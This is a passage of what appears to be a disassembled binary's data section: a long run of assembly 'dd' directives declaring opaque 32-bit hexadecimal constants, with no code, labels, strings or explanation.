		dd 9E01A4C7h, 0C8ACDF45h, 0F226350Bh, 7F6FF471h, 4366418h
		dd 0D17583EEh, 0B32BBDD1h, 9D4CD43Ah, 4BDF2AC5h, 18AA3505h
		dd 921CC441h, 76D10F80h, 0A1DE331h, 0F9183DD1h,	636408ABh
		dd 9EAEC42Dh, 0D8DB850Ah, 2001BC34h, 0DE52A348h, 9F2E9693h
		dd 1088F2Fh, 5BA8E2D5h,	0E70DAE72h, 0BC88C61Eh,	27AAE9DDh
		dd 0B1B98D69h, 682A49F5h, 1660B99Ch, 1A4E4295h,	5D8C1386h
		dd 0ACBF16E7h, 6DFF4505h, 78D2B0AAh, 0EBD4CC43h, 0CBE17F75h
		dd 0FE1C8720h, 2CEC47A0h, 0B19AB93Ch, 0B4D51D41h, 4D14A3C5h
		dd 331C2CBBh, 0A39EAB6Ah, 0BAAB6834h, 3E375FB7h, 0E528A05Eh
		dd 290C1A12h, 0DE88C570h, 24FD77FCh, 0C4A64FE4h, 0A646C967h
		dd 0A27BE50Ah, 0EDEBF478h, 0DF4102FBh, 0C587D34Eh, 0E55343E3h
		dd 0DC912434h, 3164CC6h, 34C9083Ah, 40A3279Eh, 35D04149h
		dd 84F742FCh, 0A1E9B9E8h, 2FFACDD2h, 0EC7C2698h, 208DA75Eh
		dd 83280A45h, 8E28F662h, 237AB6E1h, 0B6406524h,	5ED9236h
		dd 0B68E9314h, 1901AE4Eh, 0B86D0491h, 1159B4A0h, 37ED347Bh
		dd 11BD71EEh, 1F5A0C0Ah, 263AFDE7h, 383F1BD8h, 9E000F8Eh
		dd 0D243711h, 8576E8A7h, 0A74331EBh, 0C350FCFAh, 3125A88Dh
		dd 8DC4D9B9h, 0A9092155h, 8A1A64D2h, 0F41C066h,	0FEB24575h
		dd 84001E97h, 0FD93A449h, 5165C70Dh, 3DD3D0C3h,	56FDA23Dh
		dd 775DEB9h, 5831846Ah,	60B50B87h, 0B45ECAE2h, 0B5306373h
		dd 8550304h, 0B93C84D6h, 0F1A13801h, 0D6079D10h, 3FFB79BFh
		dd 5AD52D9Bh, 144193F5h, 1D698B85h, 4480AEB8h, 0CE6B76FAh
		dd 5DD4F0B5h, 0D7DE38Ch, 7AD886B9h, 4D27E0ECh, 1D2860E9h
		dd 120687CDh, 4B96CBC3h, 2E42671h, 5E876FDDh, 3338C45Ah
		dd 9E2C3AF5h, 0C3A887C4h, 0B43EC2Dh, 18F1A7E7h,	0AC9DE00Ah
		dd 0B467CDC5h, 0B3F4B71h, 30A3ACAh, 348ABB99h, 5AEF7F41h
		dd 0DDC7C760h, 0C01B2FF3h, 0BFCE1B16h, 0AAA71B11h, 1BA2D082h
		dd 200051BCh, 0BC3443D0h, 8AA33C1h, 0BC3FD8E4h,	65A9D50Dh
		dd 35281953h, 89B9177Ch, 0E4B9E1Fh, 0F9EB93A8h,	0E661AF06h
		dd 73E39FBh, 9670E5DCh,	31979725h, 742355C3h, 0B33EA67Dh
		dd 0AEF59D39h, 6F19E3C2h, 35C0B9D8h, 9971FEB7h,	10C93901h
		dd 0A008AF09h, 141EDD68h, 25970E05h, 8A10752Bh,	857194Eh
		dd 51352B22h, 4B589286h, 0D19E5D37h, 9F97447h, 4276F717h
		dd 0D7018CCCh, 0B2D3B0E6h, 0CCA32684h, 0ED8658CCh, 0B71E4739h
		dd 97521991h, 0B3514645h, 0C0AF628Ah, 0A53E3B74h, 0D8B2A00h
		dd 958F0AC2h, 0D9FE46C7h, 0A2DFF851h, 0BED1726Dh, 0E659876h
		dd 99AE0105h, 0B21DD5A4h, 511F9F96h, 812A49D4h,	5BEB3404h
		dd 551D594Ah, 14713D8Eh, 36CC1148h, 0EE82EB90h,	9AA59C3Ch
		dd 0C63F55CEh, 0E741250Eh, 9E4BF3CAh, 479CF921h, 7DC73770h
		dd 6F646A22h, 1EE3F72Bh, 535865D5h, 7929550Fh, 1779CEBh
		dd 6C24C844h, 0E9B69946h, 0CFDEBE5Fh, 0F27DD5E6h, 0CC33E497h
		dd 7BA09DEBh, 6F8911B5h, 21AF92D6h, 7BC7417Ah, 0C60960A5h
		dd 9448654Ch, 0D93063F5h, 2D2E31ACh, 47407545h,	85FA9E3Eh
		dd 27A5F384h, 8F8E2550h, 0C42D9084h, 8F172164h,	39F391C0h
		dd 632F2115h, 77BAF391h, 984A7241h, 0D1985D06h,	7F5CE205h
		dd 3062CFB0h, 0C13D6CD4h, 0EE34895Fh, 782B889Eh, 2C24949Dh
		dd 0EB7EA016h, 0C49BCF57h, 10CF254Ah, 7BC68296h, 4816DF89h
		dd 0A42263DEh, 9A50DCEEh, 865C5348h, 935008B2h,	8827A77h
		dd 0D4347336h, 0AEBB2B5Fh, 71AB46E8h, 0D9C4E0DBh, 2AAB34F6h
		dd 1316FF78h, 0CB69B3CAh, 3C94FF09h, 70CB81F2h,	6746BEA8h
		dd 2556D549h, 765AD949h, 51252356h, 0CB6C14EFh,	30C2F216h
		dd 33A5E789h, 43C7705Dh, 0F7FB2326h, 0EBB69BAFh, 0F45F56A5h
		dd 0F39E7ACFh, 0AD09431h, 4E8236A4h, 323A35F7h,	0DDA220AEh
		dd 0B0E2153Fh, 0CE17E846h, 8A315E00h, 9B0911E4h, 8C81C040h
		dd 0BAD09920h, 0BCACF95h, 11DBA059h, 7F09197Bh,	4A87E115h
		dd 2D3056DBh, 0CF95A58Dh, 4AA1244Bh, 0A75BAA69h, 317F753Ah
		dd 125059Ch, 38A1E725h,	577D6368h, 13F7DB16h, 0C7AB73DDh
		dd 0CE659363h, 0FDCCEBA7h, 0AEDC8673h, 29B7D25Fh, 0E7BC7A6Eh
		dd 37DA52Fh, 11E23CE4h,	0AB5D71A8h, 0F03841BCh,	0FFB3893Ah
		dd 797693C3h, 6C8FFE6Ah, 22B1BD2Bh, 0CEB2989Dh,	4D2CD8FAh
		dd 85AC9D73h, 0C8B487h,	503FD0B4h, 1523BB4Fh, 0DE6B8A8Ah
		dd 0B6A4C8BDh, 2F431074h, 7C060B65h, 33A71BA7h,	0CFF701EFh
		dd 190495Ah, 1D22C221h,	0D1C1412Eh, 7CB20A27h, 0DC9E819Bh
		dd 110F7F5h, 1AC1FF88h,	0EF3AD97Dh, 60BEFD91h, 8068D816h
		dd 696D2A53h, 91AB510Dh, 0DC8716CEh, 0CC3274EEh, 429FFC04h
		dd 5F409579h, 0ED93BF7Ah, 2A68C750h, 4042B406h,	3CB83803h
		dd 6E5AF3A6h, 57D2820Ah, 7DFF95DAh, 0DD25ECF0h,	83A3ACDAh
		dd 0E29318F4h, 800B5934h, 2B0EF282h, 9F10298Ch,	0CAECBE7Ch
		dd 4C15A1Ch, 363F643h, 97B925BAh, 0C00B3FF6h, 27D96F40h
		dd 2280F56Eh, 0AA49D965h, 0AE14A17Ch, 815EF196h, 165E73E8h
		dd 631D110Ah, 38E83A57h, 0F7749B93h, 0D63D7C02h, 0D303FB00h
		dd 6CC8CA5Ch, 67AB37CAh, 0BCA26A63h, 0F2A7845Fh, 0C018EAE6h
		dd 0E6807A43h, 34AE7CF2h, 7B2843CEh, 35E126C7h,	0C5A299DBh
		dd 696B4B3Bh, 9245AE01h, 0A9C1D709h, 204268FEh,	7B34726Dh
		dd 0B1A6B8FBh, 39C897AAh, 9E6257F8h, 1B4565EDh,	43C5AC7Ah
		dd 389A4AB6h, 1DE46426h, 7D19023Dh, 2D6662DFh, 0CA7EEA76h
		dd 2CC00Ah, 0F90F537Ah,	784FD2F4h, 33C08DD3h, 511012E4h
		dd 271BE55Dh, 0E43BECEh, 98A9D9D8h, 636C0DA8h, 0EB85853Ch
		dd 5DE49199h, 935090D5h, 0DD555D94h, 6875EAD9h,	0A3AEA63Dh
		dd 6047E6E7h, 0DBE52239h, 16B1E33Eh, 5D7399BEh,	8556AED0h
		dd 6A84DB11h, 1F47363Ah, 0EBB976FBh, 6A9D4770h,	93203B85h
		dd 0C4392930h, 0C63397D7h, 0A1B7AA06h, 3F4F8046h, 0B5CE2F69h
		dd 0C87CCEBh, 88463D7Bh, 895B79D8h, 0D2FB0864h,	9571C7Ah
		dd 60DE1A4Bh, 0CCB8C52Fh, 0E3516CB9h, 473A44C7h, 976D3CB1h
		dd 9287BD7Eh, 5AC5A6B1h, 8F28D6E9h, 0ACE37D8Bh,	42DAE1Ch
		dd 3E46B623h, 4CDF8154h, 19505B6Fh, 0A493603Bh,	99D7B205h
		dd 550C3DB3h, 0EB4A5E1Fh, 99C2B33Fh, 52092F0Eh,	0F45F004Eh
		dd 0B73BDE55h, 0CDE73E35h, 5D9A3D50h, 5B3E715Dh, 0C0A89E9Dh
		dd 6184AB3Bh, 48622629h, 0ADDA09E6h, 131E4E9Bh,	0CF12A987h
		dd 40CAA154h, 1263445Fh, 0AC23FADDh, 0EFDBBC80h, 0D3B27088h
		dd 3B08C58Fh, 661E2170h, 0D4E8B190h, 0E4D586B2h, 0DB359505h
		dd 0E0866ED2h, 0BA5A308Bh, 2BC8526h, 2DC95ADh, 645BD294h
		dd 0C40D9FE7h, 0D1C9787Ch, 6F96C6C8h, 4012BB8Eh, 39B34F71h
		dd 15A24C4Bh, 0F354F7BDh, 3D2C4FCFh, 0FD819AADh, 494D62FBh
		dd 315F5011h, 0EDC88FD9h, 0DE4C9E83h, 97DB8681h, 9765E318h
		dd 0F7911615h, 519ADC8Ah, 0C983AB7h, 426844h, 2526FE7Ch
		dd 955FB065h, 37366F73h, 0EB103A18h, 0A5070DD9h, 9E5E18ADh
		dd 0CD74D20Dh, 7EC47D6h, 1776576Ah, 0D89FE65Ah,	0C1215635h
		dd 58774681h, 63DD8D41h, 6DB4ECBh, 0A2F470A2h, 0CCD5BC1Fh
		dd 86DD157h, 0D26AAE2Ah, 91023C33h, 15A01B0Eh, 0BFB5DFAh
		dd 0AF09D5Bh, 687C361h,	0EB77F9FDh, 8619DA44h, 2E94B58Ah
		dd 5B0023C8h, 0BB80DC67h, 3AF81C76h, 434D68E5h,	4F0D7497h
		dd 8ACBD94Bh, 0F0CC5E2Eh
		dd 0E266A3Fh, 0E13A3B7Ah, 0CC55C527h, 95B2DF02h, 0BE180413h
		dd 535CF4C4h, 0FA3CAA66h, 0EFA450EAh, 86FFC4BBh, 89764935h
		dd 0A559433h, 0D7A372A1h, 4AA5BB58h, 0C3FCA5C3h, 4CBEABBAh
		dd 0C6163737h, 6AA5028h, 0B747F2EFh, 82586380h,	0BCA5DAC5h
		dd 0BBC5D053h, 0DB48ED5Dh, 0FFA391ADh, 0EDB72FCh, 0EAE32253h
		dd 1594FB65h, 0BEAB2E71h, 16273872h, 8215F57h, 4CCDF0F2h
		dd 0ABCA4838h, 0DBC0ED55h, 51FFE8A3h, 0CBF08ED5h, 0C3F04E6Ch
		dd 22142A05h, 9E02FEF6h, 0F8889AAFh, 0EBC68244h, 7C8C8500h
		dd 5E3A116Fh, 47942DEFh, 91E9E3BAh, 4AB10F24h, 6D667A33h
		dd 380C1F45h, 246A4278h, 8628A15Ah, 0E4BDA20Bh,	0BA82CDBBh
		dd 0F3C9AAE7h, 1C18A92Bh, 27946FC1h, 67F87CC1h,	775BCE5Ch
		dd 11C1FA1Fh, 0A91ED91Bh, 0F460CE0Ah, 0DC6DAA4Eh, 1D9400A6h
		dd 0D1DA2308h, 651B8559h, 0DD62A14Bh, 9DC3C74Ch, 3483541Eh
		dd 0CC3A84DBh, 0ABA6A6B7h, 0FFD9FB16h, 140B9DD8h, 43FF9B10h
		dd 5632C935h, 0C25A4E9h, 139FE751h, 0B78EA97h, 57413E6h
		dd 1EE2690h, 0A9D11BEAh, 16CC69D3h, 0CEB7CAA5h,	71386A0Ch
		dd 0B77171EEh, 3F1D85BBh, 0A84066B1h, 58CE3E8Dh, 0E6DA2B0Dh
		dd 3118A5B6h, 670EBE3Ch, 5F7092ECh, 97F0EEE0h, 4F580313h
		dd 6A6DF408h, 8BCC0621h, 0BC1AF164h, 0DF54113Ch, 0EDD44562h
		dd 301FBD75h, 76180A3h,	0D63193E5h, 11ADA432h, 0F1959D6Bh
		dd 85657FFCh, 8043B1BFh, 16040E91h, 31B63FFh, 312ABC72h
		dd 1597774Ch, 0BEF0E2C9h, 9F3C169Dh, 0ABD6430Dh, 5CC6ED15h
		dd 7F345C3Bh, 0D178CE68h, 0C78323ECh, 60FBA655h, 0C78B26E7h
		dd 0AABBEEA1h, 0CC72D1B0h, 9C750215h, 0B9D15A3Eh, 0B946B98h
		dd 4802890Fh, 247D740h,	57E747AFh, 0CF153D3Eh, 0FE4F2C74h
		dd 0DC8E9247h, 0CB917F4Eh, 0A99F8795h, 0DE7A2DEBh, 7EDF8E10h
		dd 0B0FF6210h, 0F523F161h, 68249086h, 6312C289h, 0CF670CD4h
		dd 75FCA096h, 519DD7BAh, 0DEDAF4B5h, 0A0651334h, 0E44BE373h
		dd 0E2C1FB5Ch, 0B32F884h, 985F8F3Fh, 0DB2B5C31h, 0EAF68B4Dh
		dd 16CC87A3h, 89DF5960h, 0ECAD07E7h, 59BF16B2h,	0DD9F5E5Ch
		dd 0CABC00Eh, 0A5751D0Ch, 655831CFh, 98331FE3h,	16ABF8D1h
		dd 1D143470h, 0ABF45895h, 8F31629Ch, 0B71A4F66h, 80C1494Eh
		dd 232FE50Ch, 613B3741h, 0C41E9650h, 676CDC44h,	0E6A53470h
		dd 6BA61EACh, 0E1BD362Ah, 0B513EB25h, 4F5142A4h, 2854EB6Ah
		dd 0B81ACCF7h, 7A077D02h, 0B655D020h, 0C359A242h, 6DCFE230h
		dd 7FAD218Fh, 3C0C7689h, 0D58ED76Bh, 0E842F342h, 4EA056D2h
		dd 0BCE8A449h, 0D4265D75h, 0E6AFF43Ch, 8D81969h, 0EE87D17Ah
		dd 4F65C66Ch, 3CF6F97h,	0B24DDFC5h, 0CA4382DDh,	0D6487D13h
		dd 0C3B1B753h, 1A3A4154h, 0ACD6A880h, 0B0B41CACh, 0FCC2EAD3h
		dd 42335884h, 0DC742C37h, 34DBA10Ah, 0E1CC101Ch, 58859D0Dh
		dd 0A05CEB40h, 7EF9ACD0h, 29D43B9Dh, 66FDA787h,	0BA6FBF6Dh
		dd 76D1C9B5h, 0A861E01Ch, 190ABB6h, 0B518915Ah,	0BBDF88E1h
		dd 92D30107h, 500714CBh, 977A3C22h, 0F83E43AAh,	0E83F9BD5h
		dd 556CE8F6h, 0D0A720BEh, 0D56D6C21h, 68D93891h, 7589F273h
		dd 9A5E4EF9h, 12CCBF23h, 97DF0C16h, 0B0B1C88Fh,	0B1A0F3A1h
		dd 0B7671B65h, 5CA1A201h, 71EAB2ABh, 834C8757h,	42D80D87h
		dd 0DE2E9A26h, 17D5E380h, 88B80F3Fh, 8B792272h,	0EE67541Ah
		dd 89F7F507h, 0C678E788h, 0B7A628A0h, 4649344Fh, 821F4DA3h
		dd 61BF21BDh, 82E0825Ah, 0F7BBE9F2h, 120D8251h,	68F876B0h
		dd 0CB3B6543h, 0BA2A1EF1h, 8A2D97EDh, 70CBE22Ah, 0E57DC5FFh
		dd 7EBAE918h, 7E02E336h, 2DD21D58h, 0B7FC3B6Fh,	5026150Ch
		dd 90B88D82h, 8E56AB81h, 0DBC64987h, 52B7C472h,	33814FA8h
		dd 3F2371F9h, 0D9B11DCFh, 7CD99895h, 5DBB4C8Fh,	0C7C98798h
		dd 0C320AAC1h, 5CF60528h, 1832E794h, 0AC3CC536h, 0C0F16142h
		dd 718989D8h, 0E0BE964h, 0AC4E08F7h, 0DF253F84h, 0D089683Eh
		dd 164896F1h, 88E15268h, 0CAA991DAh, 7ACD3193h,	70D7034Ah
		dd 0E9ED5929h, 0ED312D7Ch, 0D78A9818h, 39CDA1BDh, 0E74C32F0h
		dd 1A21BF33h, 76DBBE73h, 0A77E0D83h, 0A4459357h, 0FB9B8607h
		dd 0A36DF128h, 0BDC3E71Ch, 6FCD3E95h, 38602DC0h, 245C2C37h
		dd 0B9D30AA4h, 0C87390D3h, 0CB9CE0DEh, 0E0F267F3h, 0AD3C078h
		dd 0E25E74AAh, 42869B12h, 4892F8Eh, 4065556Eh, 0AED1E5DBh
		dd 4FAE1C83h, 0E1E9629Bh, 0EC5B989Bh, 0DCFFC0BFh, 0D45A9A08h
		dd 7F9E740Ch, 38991333h, 33BA1649h, 1EE24177h, 8B290B99h
		dd 74AE229h, 2547C54Ah,	7C3A89ADh, 0E2E3016Ch, 87212DA8h
		dd 9E9A2DEDh, 1BDFA6F8h, 0DD697F21h, 1B99C797h,	3D52F0E9h
		dd 5282346Bh, 0A9C785E6h, 0FD936E3Ah, 0D0F5A6AAh, 641A8B69h
		dd 0B3E95663h, 4BDCBD4Eh, 6B260E65h, 1EA1BEDFh,	9040F65Bh
		dd 0D614A316h, 7E37349Bh, 5A57A253h, 5E845509h,	5AB2C798h
		dd 0A07DE26Ah, 0F29C188Fh, 0CA26B08Eh, 33D9D56Ah, 8EF9311Bh
		dd 0F351C4FAh, 0DDFDB6BCh, 0AFC68363h, 0E1091D63h, 84F36D84h
		dd 1F529CAh, 0E63AD605h, 250C5B9Ah, 0B1ACEFA0h,	0FFABE80Eh
		dd 6A3EDE4h, 4E046A00h,	8306D3FEh, 14C834A1h, 0F1642CABh
		dd 5FAC69B1h, 0C11BF5B1h, 0DE72BAD4h, 0B705E6A8h, 1A2CE1D9h
		dd 0C9976D57h, 17A9E48Ch, 11976CDh, 700E941Eh, 0DA319B38h
		dd 54F58D9Ah, 36E86Dh, 0B186B048h, 0A20596BAh, 0B369C29Ch
		dd 0F887AE9Bh, 0D62947C7h, 6A07B228h, 8F9157CBh, 34599977h
		dd 0ED9DC3E2h, 0A0254CDDh, 0B222B978h, 9902479Dh, 4F98E12h
		dd 704CBD48h, 0C7ED41CDh, 6EAAA65Ah, 55E9048Bh,	0B5B96800h
		dd 6CCE33F5h, 5E1E2EDDh, 0BDDD97B3h, 572668CAh,	54B1970h
		dd 18BA766Bh, 4930C396h, 0A5A80B2Fh, 828D9ED3h,	84C3F1A9h
		dd 4776AD9Dh, 0E17969B3h, 5CBAACD1h, 0E4CEB968h, 9E3EE927h
		dd 56A221EEh, 13307F92h, 9011499Bh, 0AA0AA216h,	92D888Bh
		dd 61D94CB9h, 5EFECF2Ah, 524C9284h, 70678B2Ch, 0B9915321h
		dd 358B467h, 0A309219Bh, 611C5623h, 79F5BFF0h, 0F9A73550h
		dd 5C6A76F9h, 0B06DA23Fh, 0A9CC67BFh, 0BD225477h, 8B5C103Bh
		dd 0D06F0D9h, 0EFB72E7Bh, 0FEFEA6BEh, 0D3BF90CDh, 923F8B0Eh
		dd 7D8C29B5h, 1C27532h,	1044CBB0h, 0A644C33Dh, 0EFD92010h
		dd 9F568F71h, 11EB6D2Eh, 9D65C07h, 0CC2E9EDFh, 4B7D9FDEh
		dd 0E07F22BEh, 825A446Bh, 18E9505Dh, 7366083Bh,	0AB5B30BFh
		dd 26A721E2h, 2B5F6F20h, 0B7269FF7h, 4D0E8331h,	0C0C97A36h
		dd 4703F9A6h, 4D11E2C5h, 0ADF9E8B0h, 25C89C7Dh,	0FEFF94F3h
		dd 2A1DE271h, 2991D7BCh, 0CE4E9E73h, 4AF64349h,	51AEFB1Ch
		dd 0E73CD04Ch, 0A1FBBA5Dh, 9BB21421h, 4B5DA54Ch, 0FFACE5E9h
		dd 96809D4Dh, 2B47458Eh, 5D54A0DAh, 74B4CF40h, 0B07EB537h
		dd 233F1FB3h, 7AEE544Fh, 70377F4Dh, 0E4BA4972h,	84FFA29Bh
		dd 0FDF0B620h, 22179699h, 0A0A9EC90h, 0D05C5DE1h, 0B148C6C7h
		dd 0A72780E9h, 16E40F81h, 7DC4B1AFh, 0F2719FF4h, 0A3896514h
		dd 55E8C63Ch, 69C541E6h, 3BD24BE6h, 8444D38h, 69D1BE9Dh
		dd 8B1A7E05h, 51628197h, 14FF1509h, 4CE1D1B1h, 0EB09F4FAh
		dd 4C13B8FEh, 6B3179EBh, 84D7C8D9h, 90A49FFEh, 248D81Fh
		dd 2F8D59ADh, 7CABD09Ah, 88CD33A6h, 0AD2F5865h,	496691D9h
		dd 0ABE3CDCDh, 41D7FFDh, 0B25DF48Eh, 0C5156AD8h, 22303828h
		dd 9F367AADh, 0A6888B45h
		dd 8BA28D51h, 1FCA4EE0h, 0B8B57788h, 0BF83C1DEh, 9A2B9DD3h
		dd 412308B7h, 332AD53Ah, 45BC3BDEh, 72F71BCCh, 0ABB176Bh
		dd 0CC76B01h, 19A42232h, 0A17FE386h, 6E20605Dh,	0ED69767Eh
		dd 95660088h, 61CCC836h, 0E8C56F89h, 9FCE02DDh,	31FB0BCAh
		dd 7B330CDAh, 0ECCB777Dh, 0C3692101h, 9029F916h, 0B1E1EA1Dh
		dd 4F5B2888h, 8F3A4772h, 0ACF179D5h, 0AF3C9B7h,	876415B0h
		dd 0CE6861FBh, 0A7BE9024h, 9F2400C0h, 7E3B0B42h, 0F0D7E3AFh
		dd 40BDAF40h, 0D30A8772h, 1A4B4A81h, 0CA3ECB26h, 49FA37AFh
		dd 0EC809B51h, 2DEA24BBh, 0D41EB17Bh, 0FC838D8Bh, 0D45688F0h
		dd 52CC5732h, 0F33255E5h, 0C18706E5h, 1FB3D3A7h, 0DEF738BAh
		dd 0AC0EC8FDh, 0D7A1978Eh, 510641DDh, 0A95E58A3h, 0ADA4585Dh
		dd 9B67CBAh, 0ABAFAE8Bh, 0D561599Dh, 12C0A548h,	0A185B30Ch
		dd 11539772h, 0A4CD2B15h, 5F6ED6Ah, 8854E218h, 53E73B2h
		dd 0E8C634E2h, 7EBC273Ah, 8BF50ADDh, 0E04339A8h, 0FBB6937Ah
		dd 12294C6Eh, 23D15F95h, 83F62BE6h, 2DD906E8h, 0E6C00E9Ch
		dd 10AED1B5h, 8F7C3960h, 0DC56EDB3h, 0B82904CCh, 0EBE8DF67h
		dd 150F7DB6h, 0E94D38A3h, 12C67F8Eh, 94476ADCh,	0F549C07Ah
		dd 0B562277Ah, 947A5635h, 907A5E4Fh, 2825D5FEh,	0C5604247h
		dd 0F0047354h, 0A1A2C9ACh, 0E6067C3Ah, 0FABA599Fh, 828271C5h
		dd 70366E37h, 0DE673B73h, 7C13229Ch, 0E0A50318h, 0A389A573h
		dd 0D8738253h, 0D0F2EA62h, 0F78ECDDFh, 542F3227h, 0F998311Ah
		dd 0D03E267Ch, 686FEC95h, 7E2B62C5h, 79063D4Dh,	0A66612C2h
		dd 4A821E4Eh, 3DAE9F16h, 0AB9BD464h, 0D534F57Bh, 71603BD0h
		dd 4B249A18h, 97654F1h,	4E320FEDh, 765762ADh, 0D49E755Ch
		dd 212B62CAh, 0CDA0B10Bh, 0BF52FBEBh, 0C78FD169h, 850C673Dh
		dd 930B2587h, 0CF08E4F1h, 97C806ADh, 0BBD0A882h, 743B8CD1h
		dd 4C6D5FBAh, 6A55A413h, 82EEBC66h, 2B08251Bh, 54E0BE96h
		dd 19681173h, 40C19432h, 94A195D2h, 456DB111h, 39E6EB3Fh
		dd 0F85F848Dh, 27A50142h, 7BE9C3DAh, 2555BDF1h,	9A23D6C4h
		dd 0C3BC4EB8h, 0AB5DC80Eh, 0D67499F5h, 290BDC36h, 0E3BB4EC1h
		dd 1CD139B0h, 0FD92C6CEh, 50ED3C6Dh, 801A8BE7h,	0E284E5C1h
		dd 0E9491412h, 7052070Ah, 0CC42AFD4h, 2745AAC6h, 7BEFF4DAh
		dd 2EBED00Ah, 0F1C84F5Fh, 0A4525A3Ah, 623EB5C0h, 3CFDA838h
		dd 51B99CE3h, 0BF98AFB0h, 8C895BD9h, 86FFCBF3h,	1A4B806Eh
		dd 0F141C90Bh, 0DE142045h, 0C6345455h, 0EB46143Fh, 11F80D7Dh
		dd 0B5604961h, 0F02B488Fh, 109E71C6h, 0D6AE8E58h, 0C853ED5Bh
		dd 0F78FA7D2h, 375D07A7h, 0CFD9CD90h, 176C21E6h, 0ACD4F25Dh
		dd 50E0BBF8h, 0F9A8E115h, 0DEACD56h, 514AC57Dh,	693FEA5Bh
		dd 998896EFh, 525E986Bh, 971E3EC4h, 0F1D8A02h, 0EABB284Dh
		dd 8BF27339h, 0BAD6C554h, 0BB0E4AB4h, 2ADEBD1Ch, 6C7417B9h
		dd 678F56D1h, 0FD440881h, 5BBB6089h, 58852FA5h,	0FCB694Dh
		dd 7FA1B3DFh, 0AEA16894h, 0E43AF77Eh, 0DF09FDD8h, 12F665C2h
		dd 558ABE8Bh, 82ACC5FCh, 8B65D952h, 0AA9BEFB9h,	2BF68208h
		dd 0C10E8019h, 0DF7FD7B5h, 2CC341DFh, 30696EBFh, 324A9E9Bh
		dd 9AD098E0h, 4646C00h,	0F7511671h, 47451ADDh, 0DEEAE8F0h
		dd 0FB8C710Eh, 6DDFC23Dh, 594AD8A3h, 464F5E63h,	26243E1Fh
		dd 0DDD90FA3h, 8B1E4EB9h, 0A8AD4885h, 0C3E9836Bh, 0BF492A12h
		dd 907DCB05h, 0B581B7E3h, 0AEA1F165h, 2A70F6D6h, 3BED9209h
		dd 7E952E55h, 6DA04A72h, 0C4C6106Bh, 51E675BAh,	4A4B056Dh
		dd 0F38A7778h, 7BE37C97h, 0FD8190D1h, 94EFDBC0h, 0B21A2801h
		dd 795AF265h, 0F30A6A1Dh, 9D0C28E8h, 0A37CA4CBh, 5339466Dh
		dd 0AE942A31h, 9BBC5518h, 532388CCh, 37CD9866h,	537AF327h
		dd 8454CD94h, 70747AB9h, 83779CA0h, 0BDC6D82Fh,	26343A10h
		dd 0FA059394h, 67D9EB08h, 51FAD14h, 4F96E46Bh, 0F5EC4395h
		dd 0DE1FB9EDh, 0E2778A40h, 0D699E96Bh, 186C8542h, 0F5572D80h
		dd 0F62D3F17h, 0D54A5DAFh, 0AF4F49A7h, 0E988A383h, 27331ED7h
		dd 6C1E436Bh, 9157C751h, 0CD32E027h, 374458F8h,	0F36C94CEh
		dd 0C1B83EAFh, 54AE8E2Eh, 0BE43A897h, 4598B6DCh, 866E8EC9h
		dd 7F57F3Dh, 0C0DAE412h, 292EB11Fh, 2DBFDB3h, 33F51482h
		dd 0EE3C92C7h, 0D10CA922h, 88915F2Dh, 0B1654CF8h, 5574D871h
		dd 4713EBD4h, 0C6FE4BDEh, 9B2C92F7h, 6CA40BB1h,	2F7EEC48h
		dd 17C404ADh, 0C3CB5D72h, 0A9A7BEBAh, 0D9B14D85h, 97AE30DDh
		dd 79835429h, 0A7EFB2C2h, 0AB275E1Fh, 3DA63B21h, 83CE67A9h
		dd 5ECE2D3Ah, 0A3CA6926h, 5D42F328h, 514A99D4h,	0F9999A9Bh
		dd 3BF68018h, 6884CDA3h, 3908138Bh, 74C9AF30h, 36604465h
		dd 68BF78FDh, 0F5893BDh, 0BE039320h, 29B59525h,	218E6196h
		dd 0E83E4A08h, 0A401557Ah, 6C7E8869h, 0B0B91CB5h, 0E3EA3415h
		dd 18525DC1h, 764C1037h, 58E4F9ADh, 0E79C66F4h,	18EFC19h
		dd 541EE19h, 0A1EADCB5h, 4BFF5995h, 158264FCh, 0FA75B0B3h
		dd 0A0ECE0BCh, 0A7F8A12Bh, 0C19E186Dh, 96656006h, 5083CAF6h
		dd 785BA321h, 45A6FB43h, 12641E3Ah, 95612FC4h, 9CC8F098h
		dd 97665B39h, 0B3179636h, 24766C8Eh, 0BF894FB9h, 0F943DF52h
		dd 5EE582CEh, 0CA15AF4Ch, 0E9A3E147h, 0E5EC04B2h, 0D7885A16h
		dd 9C4AAA0Dh, 3BEC601Ah, 0F8DC79CCh, 0F3F94D86h, 4D05859Ch
		dd 0EB894B84h, 0A3535A02h, 1F8FCA22h, 0D1535B74h, 178CF4F3h
		dd 0E28F9464h, 0C276B79Fh, 0CBFB8C39h, 0B5333807h, 67B41C81h
		dd 0F81129A2h, 8A164092h, 36305775h, 4EF187C9h,	0F78AB163h
		dd 3482576h, 0AF805341h, 98907EA0h, 6C15751Eh, 2A73FFEBh
		dd 9FDC3732h, 1D093109h, 67E3CBDBh, 82015805h, 3CF0B29Eh
		dd 0A174669Dh, 615F1D5Dh, 2F3326EFh, 171F1ED5h,	0C57D21E9h
		dd 367A6FC7h, 9F35B2F3h, 0CAF6FA73h, 0EF615228h, 0CE348AFh
		dd 1C899A46h, 600ACBABh, 68619553h, 24B6527Fh, 9CE2EFB7h
		dd 0C2C04404h, 351791AFh, 0CA9A94A3h, 52EAE9Bh,	2E9DCD50h
		dd 31DA3B8Ch, 0D19BF059h, 0A2FE9563h, 0D13B611Ah, 0DE9B231Dh
		dd 2ADDA71Dh, 0BD314752h, 3BF4AB5Bh, 36812BFh, 43A37806h
		dd 8D0B5F7h, 3633B945h,	593FD919h, 0E1416C0Bh, 0C6D884E2h
		dd 6FB2FBAAh, 3AA5B844h, 2FAEF7A0h, 77E4071h, 472932A1h
		dd 0C645B98Eh, 0C6D6C5A0h, 0D381D07Ch, 0CABB79C7h, 406AFDABh
		dd 0A23D23C1h, 4A844467h, 8D98D97h, 969D3BE6h, 7A24AD85h
		dd 0AFF5177Ch, 4120397Fh, 9805D2Ah, 5E780D4Ch, 4CFFFFF7h
		dd 46552FA4h, 0AD5F1D59h, 550E8EBBh, 0FA9C70B0h, 54CB6C93h
		dd 0C72C07Ch, 7BEAFC65h, 9438C494h, 0B153800Bh,	0AE688084h
		dd 6FB3FCF3h, 5839A2E9h, 0AFFDCDB0h, 99C5CFC2h,	5B5E22A5h
		dd 208BDB56h, 78B03AF0h, 58668067h, 47EDAEF3h, 50138214h
		dd 33295AF2h, 8C84BF71h, 2973D7E1h, 4634FDD5h, 0FB861942h
		dd 0A4D14F6Ch, 0F7C578FCh, 807B8555h, 1506236Bh, 0E19EAF98h
		dd 15D4DA61h, 73DADCD6h, 65923C6Dh, 18BE88Ah, 78DD8BAAh
